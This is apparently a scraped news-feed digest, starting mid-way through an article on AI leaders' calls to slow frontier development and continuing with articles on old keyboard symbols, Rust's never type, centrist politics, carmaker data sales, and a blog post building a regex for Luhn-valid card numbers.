He said: “I’ve been sounding the alarm on AI for a long time,” and referred to a 2014 post where he said: “We need to be super careful with AI. Potentially more dangerous than nukes.”

Amodei’s call comes as Anthropic prepares to float on the US stock market, in what is expected to be the biggest initial public offering of all time. It is expected to start marketing its planned $2tn-plus (£1.5tn) IPO soon.

Composite of Elon Musk, Dario Amodei and Sam Altman
From left to right: Elon Musk, Dario Amodei and Sam Altman. Photograph: Fabrice Coffrini,julien de Rosa,mandel Ngan/AFP/Getty Images

Sam Altman, the CEO of OpenAI, responded to Amodei’s comments on Saturday. “I agree with Dario that we need to pace the frontier,” he said in a post on X. “Committing to having independent evaluators with employee-like access is a great idea, and we will do the same. We’ll have more to share soon.”

He also said OpenAI would not go public in 2026 , citing safety concerns over artificial intelligence .

“I actually think that, given everything happening with safety, right now would be an ill-advised moment to go public, and we don’t feel pressure on that,” Altman told Fortune . Asked why he, Amodei, Musk, and the chief executives of Meta and Google did not sit down and “get on the same page” about a collective slowdown, he said: “I think that will happen.”

Demis Hassabis, co-founder and chair of Google Deep Mind, also said: “The details need working through, but the direction is correct for meeting this critical moment.”

Amodei’s plan seeks a waiver from the US government to allow the frontier AI companies to coordinate without being punished for anti-competitive collusion. But David Sacks, a co-chair of Donald Trump’s council of advisers on science and technology, said: “Stop pretending you need anyone else’s permission … Stop pretending the motivation to slow down is purely altruistic. You face massive product-liability exposure if your products enable a truly damaging cyber-attack.”

David Krueger, an AI professor, safety campaigner and former founding director of the UK government’s AI Security Institute, said: “This plan does not reduce the risk to an acceptable level, and Dario is careful not to say that it would.”

King Charles is meanwhile preparing to meet leading figures from the most prominent AI companies this week to ask them how the technology can be developed for “the good of humanity”. He hopes the discussions, to be held in Scotland, will lead to a “wider understanding” of the “responsibilities” of developing AI, the Sunday Times reported.

A royal source told the newspaper: “The king is there to convene, listen and encourage those discussions and to pose the question of: ‘How do we develop AI for the good of humanity?’”

skip past newsletter promotion

Jensen Huang, the Nvidia chief executive, Hassabis, Niccolo de Masi, the chair and chief executive of IonQ, and Paolo Benanti, an adviser to the pope on issues of AI and technology ethics, are expected to attend the event overseen by the Ditchley Foundation, which has drawn up a draft charter for AI leaders.

The OpenAI researcher Aidan McLaughlin called Amodei’s essay “excellent” and said he agreed “with basically every word”.

Amodei said his company would “unilaterally” commit to the first of the steps, saying Anthropic would provide “third-party evaluators with permanent, employee-level access to our systems, so that they can verify adherence to our safety measures, report on incidents, and assess models’ alignment during training”.

Growing numbers of US lawmakers ​are calling for new rules to govern AI systems after cases of AI agents going rogue to hack external systems and AI ​safety researchers quitting their companies over concerns about the technology’s risks. Politicians, both Democrats and Republicans, have responded with alarm and calls for more action. At the weekend the New York Times reported that Barack Obama on Thursday privately urged the Democrats to prioritise AI oversight in their agenda, telling party leaders on Thursday: “This is something that is moving very fast in private hands, and if we don’t get on top of it, I think can be dangerous.”

The former British prime minister Rishi Sunak, who advises Anthropic, wrote on Sunday: “We have had a wake-up call to take AI safety more seriously, to work out how to set limits on research. If governments don’t heed this, the risk of a serious accident will become unacceptably high.”

On Wednesday, a former Anthropic employee had warned that AI could precipitate human extinction by 2030 . The researcher, Jacob Coxon, said in a series of posts that he had quit his job because Anthropic and his previous employer, OpenAI, were ignoring or mishandling their response to the threat AI posed.

Asked to comment on his former employee’s view, Amodei said: “I agree with Jacob much more than I disagree with him … I think there’s some chance that things go wrong but it’s not all that high.”

“I am not a doomer about this,” he told CNN. “I think this technology can be built safely.”

Key symbols we lost to time, pt. 1: The PC side

Hacker News
unsung.aresluna.org
2026-09-13 10:00:44
Comments...
Original Article

Various old computers had their keyboards adorned with unique symbols. Companies like Commodore , Atari , Amiga , or even – in its previous life – Apple chose to put their company logos on keys, and there were other weird and obscure keys on weird and obscure keyboards.

But it was Apple’s recent push to move their American keyboards closer to European ones by embracing more iconography, that made me think of forgotten key symbols less obscure, ones that belonged to platforms we still use today. Even on a Mac and a PC, some key symbols didn’t make it to modern times. So let’s start with the PC side today since that part of the story begins earlier, and do Macs in a follow-up post.

For a lot of 20th century, a battle has been waging between words and icons. The first salvo was, perhaps, the traffic signs : America embraced words, while Europe relied more on iconography. (As much as it looks like it, it wasn’t just “graphic design vs. not”; as a more varied continent with multiple languages, Europe needed a more universal visual language to help people travelling between countries.)

This, I understand, trickled down to other things: home electronics, and computers. There, iconography also made it easier to make one product and sell it across all of Europe, without needing to introduce many SKUs with different UI strings.

Here’s IBM’s Selectric typewriter from the 1970s, in its American and European edition:

(If you’re curious, Express was a very fast Backspace, and Index moved the page down; both were prototypes of future arrow keys.)

Here’s IBM’s early 1130 computer from 1965, which sported an unusual symbol for space:

Some IBM laboratory and scientific computers in the 1970s and even 1980s veered more into iconography, but eventually lost to text as office PC users rejected the confusing symbols. As their keyboards morphed into PC/​Windows keyboards we know today, only four symbols remained and gained widespread acceptance: ⇧ for Shift, ↵ for Enter, ⇥ for Tab, and some version of an arrow for Backspace.

But let’s look at those old symbols, some beautiful, all interesting.

The two symbols below are: Print Screen (old CRT screen turning into a piece of paper) and key beep – popular when people were transitioning from loud typewriters to relatively quiet keyboards:

Here – on the front edge of the also-forgotten Reverse Tab – you can see Home, which historically meant “return to the top left corner of the screen” and sometimes even “clear the screen”:

But my favourites were these, for Insert (now gone) and Delete (still with us):

These seem inspired by proofreader marks, which feels wonderfully old-time’y:

Building on that visual language, one could also find invert/​reverse video, blinking, and underline:

And this absolute beauty, which I think meant “delete word”:

The really interesting thing is that some of those symbols survive today in Unicode. I spotted at least ⎀, ⎃, ⎁, and ⎂. The last two are for contiguous and non-contiguous underline, which I feel is a story I should know, but I don’t (yet).

Stabilizing Rust's never type

Lobsters
lwn.net
2026-09-13 10:00:18
Comments...
Original Article

Welcome to LWN.net

The following subscription-only content has been made available to you by an LWN subscriber. Thousands of subscribers depend on LWN for the best news from the Linux and free software communities. If you enjoy this article, please consider accepting the discount offer on the right. Thank you for visiting LWN.net!

Special discount offer

Subscribe to LWN now at the "professional hacker" level for at least six months, and you will receive a special discount of 25%.

A function's return type is supposed to indicate the kind of data that it produces. Rust's "never" type, which is denoted by an exclamation mark (" ! "), is the type the language uses to mark a function that never returns and other places where a value can never occur. For a long time, the never type was used internally by the compiler, but was considered an unstable feature. On August 24 , after more than two years of work, Rust-compiler-contributor "waffle" finally managed to stabilize the type. It took so long, in part, because it involved a small breaking change to previous Rust editions, which the compiler maintainers needed to ensure did not impact much real code.

(Note: Rust also uses exclamation marks to indicate calls to macros. The way the syntax is constructed, a place where it is valid to use the never type is not a valid place to put a macro invocation and vice versa.)

Why a never type?

There are two reasons that Rust has a never type, one practical and one philosophical. The practical reason is that it allows for more efficient generic code. For example, consider the FromStr trait in the standard library, which is used for types that can be instantiated from a string:

    trait FromStr: Sized {
        type Err;
        fn from_str(s: &str) -> Result<Self, Self::Err>;
    }

FromStr::from_str() either returns a converted result, or a custom error type. For example, attempting to convert "foo" into an integer will return a ParseIntError . But some types have an infallible conversion. For example, it is always possible to convert a string into a ByteString . That implementation of FromStr could set Err to be the never type. Then the compiler would know that the error branch of the returned Result is never present, and could optimize out all of the code that touches it or checks for it.

    impl FromStr for ByteString {
        type Err = !;
        fn from_str(s: &str) -> Result<Self, !> { ... }
        // Keeps the same generic interface,
        // but generates code equivalent to:
        // fn from_str(s: &str) -> Self { ... }
    }

The philosophical reason involves correct type inference. In Rust, constructs such as if statements and while loops are expressions; their results can be assigned to a variable. The compiler needs a type to infer for the result of an infinite loop, if the programmer writes one. That shouldn't come up often in real code, but it turns out to simplify type inference to be able to treat that case uniformly, rather than adding special rules to handle it.

In particular, the never type has a useful property for simplifying code: it automatically coerces to any other type. This sounds strange, but it is safe, since the never type represents the "result" of a computation that will never produce a value. So, anywhere that the code claims to have a value of the never type, the compiler knows that it can't possibly reach that code, and therefore it's safe to ignore it. This is a form of type-system-driven dead-code elimination.

For both of these reasons, Rust programmers have wanted to be able to use the never type in stable versions of the language. Making that happen required resolving a particularly thorny corner case.

Never fallback

Because of the way that conversions from the never type to other types are implemented, the compiler can sometimes end up in a situation where it cannot naively infer the concrete type of an expression. Consider this example, which defines an anonymous function (using || , which is like Python or LISP's lambda ) that never returns, and then calls it in a way that expects a concrete error type (using the ? operator ):

    let function_that_never_returns = || { loop {} };
    function_that_never_returns()?;

That infinite loop is given a type of ! which is then implicitly converted to whatever the function is supposed to return. But since the function is defined locally and not given an explicit type, the compiler does not have sufficient information to say what that type is. The problem could be fixed by giving the function an explicit return type:

    let function_that_never_returns = || -> Foo { loop {} };

Since such an annotation would only be required in cases where the function cannot return anything, however, it would be a bit pointless to require the programmer to assign a fictitious type to it. So, the compiler includes a special rule: if, after all other type inference has been done, there is still an ambiguous type that cannot be determined, just assume that it should be the designated fallback type. Prior to the 2024 edition of Rust, that fallback type was () (the unit type, which has exactly one possible value). In the 2024 edition, the fallback type was changed to ! itself, essentially canceling out the implicit conversion. In the compiler internals, the never type still gets converted to an unknown type and then falls back, but from the programmer's perspective the behavior is identical to having the never type only undergo implicit conversion when required for the types to make sense.

That change of behavior was, technically, a breaking change. Type inference for some code could change, which could in turn cause compilation errors. That is the purpose of Rust's edition system: allow breaking changes in the front-end design of the language without breaking older code or requiring the whole ecosystem to update at once. In this case, however, there were reasons to want the new behavior backported to old editions.

Never infallible

For many years, the standard library has had an Infallible type to work around the unstable nature of the never type. It served the same semantic purpose as the never type, but did not have any special compiler support. Therefore, code using it would be technically correct but suboptimal (such as having an extra layer of tags in an enumeration or emitting dead code), because the optimizer would not always be able to remove references to Infallible . It was planned that, when the never type was eventually stabilized, Infallible would become a type alias for ! and all that old code would silently become more efficient. However, people pointed out a handful of ways that redefining Infallible had accidentally been made into a breaking change. Since ! has implicit conversions, changing the definition of Infallible could result in existing code needing additional type specifiers in order to type check.

Luckily, changing the definition of Infallible and changing the default fallback type, while both breaking changes, nearly cancel out. Any code that refers to the standard library's Infallible type by name would continue to work; it is only places where type inference is implicitly expected to produce Infallible that pose a risk of breaking existing code. With Rust's lack of implicit conversions in most cases, that will most often come up in places where the never type used to be implicitly converted to Infallible . If Infallible is made to be a type alias of the never type, then those places may experience never-type fallback, which would, in turn, change the inferred type and cause a compilation error if the never fallback type were not updated at the same time.

With both changes occurring simultaneously, the Rust maintainers believed that almost all existing Rust code would continue to compile — but "almost all" is not a reassuring qualifier when dealing with backward-incompatible changes. The Rust community does have a solution to this in the form of crater , which can download and compile all publicly available Rust libraries from crates.io in search of code that is broken by a compiler change.

Never say never

Waffle ran crater in April and found that, while there were 3,300 crates negatively impacted by the change, only seven were fully broken, with the rest broken by depending on old versions of libraries that had since been fixed. In the latter case, the problem would theoretically be fixable by releasing backported fixes for a handful of core libraries. This is not an accident; Rust has been emitting a warning whenever code triggers never-type fallback in a way that will break with the new change since 2024, so most libraries had plenty of time to update of their own initiative. The most common remaining error observed by crater is code that calls a generic function without enough type information for the compiler to pick a specific return type. Consider this function:

    fn foo<T: Default>() -> Result<T, Error> { ... }

It returns either a value of some caller-chosen type T that must implement the Default trait, or an error. If it is called without specifying a value for T , however, then type fallback can kick in:

    // No type specified.
    foo()?;

Previously, this would have made the compiler assume that T should be () , which implements Default , and so the code compiles. After this change (and on the 2024 edition), the compiler assumes that T should be ! , which doesn't implement Default , and therefore causes a compilation error. The fix is to explicitly specify the type that foo() should return, either in the call or by pattern-matching assignment.

    foo::<()>()?;
    // or
    () = foo()?;

Even though it's not a complicated change, the Rust maintainers were not willing to break 3,300 crates. Waffle was asked to work with the maintainers of common libraries to backport simple changes like the above (making a new patch version , which many Rust build environments will pick up automatically), in order to reduce the number of libraries depending on broken dependencies. Several library authors were willing to make the backports, but some refused on the grounds that those old versions were past their end of life. Those maintainers pointed out that users could stay on an older version of Rust or update to the maintained version of the library. Even so, the successful backports addressed 1,553 of the failing crates.

After fixing a handful of related problems to reduce the number of broken crates even further, the Rust maintainers eventually agreed that even though there would still be some broken code it was worth making the change to simplify the language. So, starting in Rust 1.99, the never type will be stable and Infallible will be a type alias for the never type. Users who find that this breaks their code have a few options:

  • Stay on Rust version 1.98.
  • Update their dependencies to supported versions that include a fix for the problem.
  • Add a patch to explicitly specify the return types of affected function calls.

On the one hand, this is a breaking change, and people may see code that had remained stable and working suddenly fail to compile. That could be seen as a violation of Rust's commitment to backward compatibility. On the other hand, the problem is relatively rare, there are multiple simple ways to fix it, it has been warned about for years, and it has always been part of the plan for the language. Additionally, the Rust maintainers worked directly with the community to find and address the breakage, even going so far as to help backport fixes to long-dead versions of popular libraries. So, the whole process could also be seen as an affirmation of Rust's commitment to backward compatibility.

In the future, people learning the language will hopefully find the never type just a little less special. Either way, most users of Rust will probably not be affected at all, but never say "never".




Centrists Are Soft-Launching the Idea That We Have a Little Too Much Democracy

Intercept
theintercept.com
2026-09-13 09:55:08
As the right attacks mass participation head on, the center is telling the rest of us to pipe down while the elites are talking. The post Centrists Are Soft-Launching the Idea That We Have a Little Too Much Democracy appeared first on The Intercept....
Original Article
Images of Senator Elizabeth Warren, a Democrat from Massachusetts, Senator Bernie Sanders, an Independent from Vermont, former US Vice President Kamala Harris, former US President Joe Biden, Representative Nancy Pelosi, a Democrat from California, and Tim Walz, governor of Minnesota, are displayed as Ally Raskin, former Democrat and America First Grassroots leader, speaks during the first day of the Republican Midterm Convention at the American Airlines Center in Dallas, Texas, US, on Wednesday, Sept. 9, 2026. November's midterm elections will hinge in large part on Americans' attitudes toward the cost of living, and the polls show the public giving the president poor marks for his handling of the economy. Photographer: Mark Felix/Bloomberg via Getty Images
Images of Sen. Elizabeth Warren, Sen. Bernie Sanders, former Vice President Kamala Harris, former President Joe Biden, Rep. Nancy Pelosi, and Minnesota Gov. Tim Walz are displayed during the first day of the Republican Midterm Convention at the American Airlines Center in Dallas on Sept. 9, 2026. Photo: Mark Felix/Bloomberg via Getty Images

Dylan is a senior researcher at the Revolving Door Project, where she leads RDP’s Economic Media Project.

In case anyone was starting to feel that American democracy is just a little too secure, distaste for the common man is now finding purchase beyond the political right, with centrist liberals test-running their own brand of distaste for mass participation.

Over the past two years, centrist liberal writers have been emboldened to expressly call for less public participation in government and politics, sometimes just coming right out and saying, “What we need is fewer engaged people,” as prolific pedant Matthew Yglesias recently said over on the reanimated corpse of Twitter.

Nowhere is this more apparent than in the rampant hostility to small-dollar donors. In external communications, we’ve heard notions like Democrats needing to “move away from the dominance of small-dollar donors.” In writing not meant for a wide audience , the honest assessment from the Abundance Network is more extreme: Widespread grassroots fundraising “makes politics dumber.” The reasoning is that such donors tend to be more liberal than traditional big-dollar supporters and, as a result, push Democrats away from the preferences of the median voter. But in reality, the moderation bought by high-dollar contributions only serves to further cater to the interests of the wealthy .

Centrists have taken to characterizing the dueling ascendance of left-economic populism and right-chauvinistic “populism” as a pincer movement against the righteous “vital center.” In recent years, centrist publications have been replete with examples, urgently calling to safeguard liberalism , often from the masses .

The irony is that a leading contender for the ur-problem of liberalism’s failures is the purposeful destruction — by centrist liberals — of the organizing capacity that powered the postwar liberal order: organized labor, civil rights organizations, and robust state-level party infrastructure.

Years ago, as Donald Trump was first running for the presidency, political commentator Andrew Sullivan worried in a lengthy manifesto that too much populism would serve to “repeal” democracy. His conflating “liberalism” with a liberal technocratic elite class is a hallmark of the centrist canon.

This thinking has morphed into what could be called “Grownup Liberalism,” the belief that there is a class of wonky centrist experts who could fix so many things if the confused masses would just get out of their way — a notion that’s inherently undemocratic and increasingly discordant with the actual state of American politics.

As the center tries to cling to the tatters of institutional deference and justify why, even after building the hellscape we inhabit, they alone can steward our future, the right is waging an intense fight against the foundations of liberal society writ large.

Republicans set off a gerrymandering war that reached its acme with Missouri trying to hoodwink federal courts into signing off on an illegal congressional map . Mail-in voting is under assault , and the SAVE Act, which risks endangering the rights of millions of Americans to vote, has been a conservative hobby horse for over a year. There are talks about deploying federal agents, including ICE agents , to polling places across the country and efforts to seize voter rolls.

To some, the mixed results of these efforts might show that institutionalists are the dam holding back an authoritarian flood. But these are the same institutionalists who dismantled the Voting Rights Act , created (nearly) carte blanche immunity for the president out of thin air, and opted not to enforce the law, emboldening further authoritarian power grabs.

As the center tries to cling to the tatters of institutional deference and justify why they alone can steward our future, the right is waging an intense fight against the foundations of liberal society writ large.

Now, however, the pontification on whether the little people have too much power is increasingly focused on American democracy as an institution. Much of the faddish “Abundance” movement draws heavily on the argument from Yale history professor Paul Sabin’s “ Public Citizens ” that providing new avenues for the public in politics undermined the project of liberal democracy itself. Some proponents have long championed a view of political dynamics centered on liberal and conservative elites dueling intellectually. Others explicitly believe that politics can only marshal material change when titans of industry take the lead, and some (to varying degrees) support ideas like the “network state,” which would replace democratic republicanism with techno-libertarian flavored fascism.

Abundance is just one strain of moderate-coded politics turning more and more of a cold shoulder to the idea of governance by the people. Not to be outdone, Third Way — a think tank that answers the question: What if we took all the preening and posturing of the Democratic Leadership Council but left out the charisma? — has been on a tear seeking to limit regular people’s input in political decision-making. The organization has tried to cast the idea of taking any economically populist position as caving to a “purity test” by the left and called for ending reliance on grassroots fundraising.

Never one to sit out the action, The Atlantic ran a review on September 1 of a Howard Zinn biography with the subhead “The historian believed that empowering the people would improve society. History hasn’t always proved him right.”

“One can agree with Zinn on the power of the people to make change and still wonder whether recent history has revealed the limits of his wisdom,” the author writes. But, he adds, the fact that conservatism has marshaled popular support “confounds his almost mythic sense of ‘the people’ as inevitably on the right side of history.” That is, ordinary folks have shown that they sometimes back distasteful conservative trends, so maybe we should stop empowering them.

Over at The Argument — the venture capital-funded Substack run by former Atlantic writer Jerusalem Demsas — the editor-in-chief recently attacked Democratic Connecticut Sen. Chris Murphy’s book on the common good as a “cult” in a sophomoric essay, which went so far as to condemn “the growing obsession with the common good among the postliberal right and left.”

Across the board, the message is that common people need to get their noses out of politics, go back to trusting the liberal technocrats, and maybe have a little democracy once in a while, as a treat.

It’s both stunning to see the contempt for popular government coming from the self-appointed champions of liberal thought and totally predictable for the vestiges of neoliberal power to veer away from democracy. At its core, the central premise of neoliberal thought is that the market must be the benchmark, with governance subverted to its will, and crucial economic policy cordoned off from the whims of popular rule.

The message is that common people need to get their noses out of politics, go back to trusting the liberal technocrats, and maybe have a little democracy once in a while.

If the stakes weren’t so profound, or these people so bafflingly influential, this would all be pretty funny. The bits about pro-corporate media figures and billionaire-funded political operatives throwing conferences about how we need more elite influence practically write themselves. Unfortunately, these are not niche figures who can be disarmed as mere old men yelling at clouds. Collectively, there are hundreds of millions of dollars flowing into organizations that are explicitly anti-small money in politics and want to make Democrats more allegiant to a wealthy donor class.

Even more unfortunate is that in a moment where our country is as close as it has ever gotten to full-blown authoritarianism, centrist thought leaders are flirting with the very ideas that justify the evisceration of popular democracy: that people cannot be trusted to take an active role in their own government, that there is a class of elites better positioned to lead, and that we ought to get out of the way of our betters.

This is a powerful illustration of how neoliberal politics warped postwar liberalism into a grotesque version of itself. The postwar consensus centered around the idea that in the duality of American liberalism, democracy is the senior partner and free markets the junior. Neoliberalism reversed this. For a while, the danger lurked in the background. But people will only allow their will and well-being to be subverted in the name of efficiency and growth for so long.

Across the democratic world, everyday people are calling the neoliberal bluff and revolting at the ballot box. The center for now still has resources and cache. Their choice is which pillar of liberalism they want to save: the free market-driven power of capital, or democracy itself.

Paul A. M. Dirac, Interview by Friedrich Hund (1982) [video]

Hacker News
www.youtube.com
2026-09-13 09:54:25
Comments...

Your car is selling your data

Hacker News
www.theverge.com
2026-09-13 09:45:08
Comments...
Original Article

This is The Stepback , a weekly newsletter breaking down one essential story from the tech world. For more on cars, data privacy, and autonomous vehicles, follow Andrew J. Hawkins . The Stepback arrives in our subscribers’ inboxes at 8AM ET. Opt in for The Stepback here .

How it started

Earlier this year, the Federal Trade Commission issued an unprecedented penalty against General Motors: a five-year ban on selling customer data to consumer reporting agencies and third-party data brokers.

For years, GM had been collecting all sorts of data on its customers — such as how often they sped or whether they drove at night — and selling it to brokers to generate risk profiles for insurance companies. More often than not, drivers were unaware of the degree to which their data was being collected. Many had unknowingly consented to it by signing up for an OnStar connected services plan, which activated a feature called Smart Driver that collected their driving data.

GM was then turning around and sharing that data with two data brokers, LexisNexis and Verisk, both of which work with the insurance industry. In a 2024 blockbuster investigative report by The New York Times , some drivers said their insurance rates went up as a result of the data collection. The enrollment process was so confusing that many vehicle owners had no idea their data was being shared. Under the settlement with the FTC, GM has to make it easier for drivers to turn off location tracking, as well as enable them to access and delete their data collected by the automaker.

But GM isn’t the only automaker vacuuming up data on its customers. A team of researchers from the Mozilla Foundation spent months examining the privacy policies of all the major car companies for a report they were working on in 2023 . Their conclusion: Every single one had “horrible privacy and security,” said Jen Caltrider, who helped author the study. Not only that, but customers were forced to accept overlapping policies for the car, the connected services, the smartphone app, and the financial services through which they received their loan — all of which included data collection provisions.

“And so it was really overwhelming trying to understand what was going on,” Caltrider said.

There has been plenty of corroborating evidence for this. Consumer Reports published its own investigation last year that concluded “nearly every automaker that sells cars in the U.S. is similarly collecting and sharing so-called ‘driver behavior data’ with other companies and continues to do so.”

Cars are particularly problematic compared to phones because the privacy controls are less intuitive. A smartphone owner can generally find and tweak their privacy settings. With a vehicle, the data collection is spread across multiple systems and policies, making it much harder for consumers to understand what is happening. It feels like a free-for-all because automakers are collecting enormous amounts of information without much public scrutiny.

How it’s going

After GM was penalized as a result of the Times investigation, the issue of data privacy and cars appears to finally be getting some scrutiny. But as is often the case, policymakers may be missing the mark on how to address it.

Last December, a trio of House Republicans introduced the Data Rights for Information and Vehicle Electronics in Real-time, or DRIVER, Act . According to these lawmakers, the bill “reaffirms a basic principle: if you own the vehicle, you should own the data it generates.”

But while the bill would give vehicle owners a bit more control over their data, it would also allow automakers to continue gathering and selling it to third-party data brokers, which makes it a nonstarter for privacy advocates. As Caltrider notes, access and deletion rights are not the same thing as preventing excess collection in the first place. If an automaker can collect enormous amounts of information and the consumer must then go through an arduous process to discover what was collected and request that it be deleted, the burden remains on the individual. Most privacy advocates would rather see a system in which automakers simply do not collect so much information to begin with.

The issue has even risen to the level of MAGA World. Last July, Donald Trump’s Transportation Secretary, Sean Duffy, sent a letter to Congress outlining the administration’s policy priorities for the upcoming surface transportation reauthorization bill. Tucked in the letter was a new concept called “the Freedom Car,” which Duffy described as Americans’ right to “drive disconnected and non-automated” vehicles. The proposal would ban the government from requiring that vehicles be equipped with automated driving systems or have the capability to transmit data wirelessly — which, to my knowledge, no one is trying to do.

What happens next

It’s unclear whether the DRIVER Act or the Freedom Car will ever clear the hurdles in Washington to become real policies. What is clear is that there is significant demand for simpler vehicles. People are asking why they can’t just buy a car without all the sensors and data collection. They look at new concepts like the Slate Truck and wonder whether they could also use something more bare-bones.

Sure, consumers may accept useful safety equipment such as backup cameras, but many don’t want their vehicle tracking everything they do — and they definitely don’t want to see ads on their vehicle screens. ( BMW, I’m looking at you. ) Nor do they want Flock cameras tracking their every movement while they drive down the street.

But automakers have every incentive to keep collecting data because there is money to be made from it. As long as the broader data economy rewards companies for gathering and monetizing information, there’s little reason for automakers to voluntarily abandon the practice.

By the way

  • Every automaker has its own privacy page where vehicle owners can submit requests, including opting out of data collection. Of course, they’re all buried under mountains of legalese, so good luck finding it.
  • Same goes for all the smartphone apps for connected car services. Changing your privacy settings in those apps is generally a little easier.

Read this

  • The New York Times ’ investigation into GM’s data collection program is worth a read, if just for the flabbergasted reactions from drivers who couldn’t understand why their insurance rates were going up.
  • Edmunds and Consumer Reports both did the work to ask every automaker for their data collection policies. There’s a lot of variety across the industry.
  • These Redditors are crowdsourcing a list of new cars (from 2019 onward) that aren’t digitally connected and/or transmitting data to the car company’s servers. Spoiler alert: It’s a pretty short list!

Follow topics and authors from this story to see more like this in your personalized homepage feed and to receive email updates.

Can a regex match valid card numbers?

Lobsters
abstractnonsense.xyz
2026-09-13 09:39:15
Comments...
Original Article

We construct a Deterministic Finite Automaton that recognises the set of arbitrary-length valid card numbers as per the Luhn check digit algorithm and abuse reality to derive an (executable!) regex with millions of characters.

Sometimes the mere existence of a question is dangerous. A colleague recently asked me whether it’s possible to validate credit card numbers in regex using the Luhn algorithm , and, well, I was thoroughly nerd-sniped . I’ll outline the problem briefly and we’ll try to explicate a solution together.

For what follows, it’ll be helpful if you’ve encountered concepts such as Deterministic Finite Automata (DFA) , Regular languages and modular arithmetic before. If you haven’t, I think a quick skim through the Wikipedia pages should be sufficient to follow. I’ll also pair the mathematical formalisms with Python code in the exposition to make it easier to follow.

# What’s in a card number, anyways?

Credit card numbers aren’t just an unstructured string of digits. There’s an ISO standard that specifies the format of a card number to be as follows:

  • A prefix of 6 or 8 digits: the Issuer Identification Number (IIN) . This is the digit sequence that is often used to dynamically populate the appropriate card provider icon in payment modals.
  • All but the last digit represent the individual account ID. This, along with the CVV and expiry date, is the really sensitive part of payment card details that you definitely don’t want to disseminate on the internet. For any examples in this post, we’ll be using dummy card numbers kindly provided by Stripe .
  • And the last digit, which is most interesting to us, is the check digit , which is calculated using the Luhn algorithm from the other digits of the card number and is used to detect mistypes. This check digit is how payment screens catch typos without having to fire off any API request to a payment gateway to verify whether your card number is valid.

If you haven’t come across a check digit before, you can think of it like a hash function. The idea is that changing a digit (say accidentally, through a typo) should change the checkdigit and thus flag that an error has occurred.

# What is the Luhn algorithm?

A typical formulation of the Luhn algorithm can be described as follows: walk over the digits from right-to-left , alternating between adding the digit and adding the “ Luhn double ” of the digit to a rolling sum. At the end, we check whether this sum is divisible by 10.

The Luhn algorithm in Python is:

python
def validate_luhn_checkdigit(number: int) -> bool:
    digits: list[int] = [int(d) for d in reversed(str(number))]
    luhn_sum = 0
    for i, d in enumerate(digits):
        if i % 2 == 1:
            luhn_sum += luhn_double(d)
        else:
            luhn_sum += d
    return luhn_sum % 10 == 0

However, since DFAs can’t walk a string in reverse order Regular languages are closed under reversal, but this is not sufficient to reverse a string to build our DFA. For instance, no DFA can recognise the language of palindromic strings. , we’ll work with an equivalent left-to-right formulation based on the parity of the length of the digits:

python
def validate_luhn_checkdigit(number: int) -> bool:
    digits: list[int] = [int(d) for d in str(number)]
    parity = len(digits) % 2
    luhn_sum = 0
    for i, d in enumerate(digits):
        if i % 2 == parity:
            luhn_sum += luhn_double(d)
        else:
            luhn_sum += d
    return luhn_sum % 10 == 0

The “ Luhn double ” function $\ell: \texttt{[0-9]} \to \texttt{[0-9]}$ is defined as follows:

$$ \ell(d) = \begin{cases} 2d & 2d < 10 \\ 2d - 9 & 2d \ge 10 \end{cases} $$

where $\texttt{[0-9]}$ is a shorthand for the set of integers $\{0, 1, \dots, 9\}$.

In Python this is equivalent to:

python
def luhn_double(d: int) -> int:
    return 2*d if 2*d < 10 else 2*d - 9
    
>>> [(d, luhn_double(d)) for d in range(10)] 
[(0, 0),
 (1, 2),
 (2, 4),
 (3, 6),
 (4, 8),
 (5, 1),
 (6, 3),
 (7, 5),
 (8, 7),
 (9, 9)]

Notice that the reason we guard against erroneous transpositions with the “Luhn doubling” function is that it’s just a permutation function on the digits $\{0, \dots, 9\}$. Meaning two distinct digit inputs are guaranteed to map to distinct outputs, and thus contribute to the rolling sum differently, mutating the checkdigit.

Please note that whilst DFAs are defined on alphabets and strings , we’re defining the implementation here to accept an integer . That’s ok, we’ll be a bit informal and treat an integer as a digit-string. You may notice this ignores left-padding with zeroes (for instance, 02 is not a defined decimal literal in Python) or degenerate cases like empty strings.

# Why do we care about card numbers?

The question here is: does there exist a regex that computes the Luhn algorithm on a sequence of digits to match valid card numbers?

If you search for “a regex to validate credit card numbers” , you’ll come across StackOverflow answers that aggregate a set of patterns that match the prefix and length requirements for major card providers. But this is boring! Nothing there guarantees that the check digit is correct !

A quick aside on validity . From here on out, when I refer to validity or correctness, I’m purely referring to whether or not a number satisfies the Luhn checkdigit algorithm. We’re not going to consider whether the card number corresponds to a real, active, and fit-for-payment account, we’ll take that as an orthogonal consideration.

Now, before we get into the guts of this, let’s pause for a second to consider why such an endeavour is useful to contemplate at all. First and foremost, it’s a purely interesting question to ponder. I posit this is a necessary and sufficient condition to spend time on any question.

But if that’s not enough for you: the powers that be mandate a standard ( PCI DSS) by which you solemnly swear to handle card details. Many financial organisations will have special systems that are approved to store and process card details, and many, many more systems that are not. And never, ever shall the twain meet. But how do you make sure your logs aren’t accidentally and surreptitiously exfiltrating sensitive payment details? Well, you definitely, definitely should not rely on a regex to detect or scrub such flagrant violations. But if you wanted to, could you?

# Working towards a solution

We can make the trivial observation that, as per the spec, payment card numbers have a maximum length. Since all finite languages are regular , that means it’s possible to simply enumerate all possible valid card numbers and union them together with | into a mammoth regex. For those tempted to try, it’s worth appreciating the scale of such an endeavour. If we assume a card number has 16 digits, then there’s $10^{15}$ sequences that have a valid checksum at the end We’re going to ignore leading zeroes or the prefix being one of a small set of possible IINs. .

But the more general question is the one that kept me up at night:

Does there exist a DFA that recognises the language $L$ of numbers written in base $10$ that satisfy the Luhn checkdigit algorithm?

Note that this language is infinite, since we do not restrict the length of the numbers. If such a DFA exists, then the language is regular (by Kleene’s theorem I propose we rename this to Kl(e|n)*'s theorem. ), and hence there must be a regular expression that matches all words Note for the programmer: in keeping with the parlance of calling these sets languages , elements of a language are often called words - this is interchangeable with strings . in the language.

Now it’s been a few years since I’ve touched DFAs or language theory, and at first, I didn’t think this problem was solvable. I didn’t think too hard about it until I stumbled across the excellent Arithmancia Automatorum which presents “A Painfully Explicit Construction of The Minimal DFA for Divisibility” . Understanding how to construct the transition function for a DFA that recognises the language of numbers written in base $b$ that are divisible by $m$ gave me hope that there existed a similar transition function to represent the Luhn algorithm as a DFA.

Interestingly, Luhn invented a mechanical device The original source of Luhn’s algorithm is in a patent ( US patent 2950048A ), which has fortunately been scanned and made accessible as a PDF via Google Patents . to compute the check digit. If we can do it mechanically, surely this is begging to be implemented as a Discrete Finite Automaton!

# The construction of a DFA to recognise the Luhn algorithm

